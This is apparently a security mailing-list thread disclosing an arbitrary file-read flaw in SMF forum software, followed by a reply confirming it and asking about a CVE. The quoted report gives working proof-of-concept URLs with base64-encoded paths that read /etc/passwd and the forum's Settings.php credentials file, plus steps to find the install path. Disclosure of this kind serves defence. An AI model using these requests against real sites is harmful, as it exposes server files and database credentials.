On 07/01/13 15:54, WHK Yan wrote:
> *Summary:*
> --------------
> A security flaw allows an attacker to know the full source file of the web
> system.
>
> *Details:
> -----------
> Sources/ManageErrors.php Line 340:
> // Make sure the file we are looking for is one they are allowed to look at
> if (!is_readable($file) || (strpos($file, '../') !== false && (
> strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
> fatal_lang_error('error_bad_file', true,
> array(htmlspecialchars($file)));
>
> Bypass function strpos($file, '../'), no need "../", example:
> /home/foo/www/Settings.php
>
> *PoC:
> -------
> http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
> Read /etc/passwd
>
> works with path disclosure for read Settings.php:
> http://whk.drawcoders.net/index.php/topic,2792.0.html
>
> *Reproduce:
> 1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
> 2. Get full path of web app ( /home/1337/public_html/SSI.php ).
> 3. Exploit in base64:
> http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=
> To read /home/spadmin/public_html/Settings.php
>
> Referer and Mirror:
> -------------------------
> http://whk.drawcoders.net/index.php/topic,2805.0.html
>
>
>
>
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Hi!
I have verified SMF is affected by this issue.
The PoC requires an admin login to be exploited. Is there any
possibility to exploit this issue without an admin login?
I guess a CVE should be assigned. Do you already asked for one?
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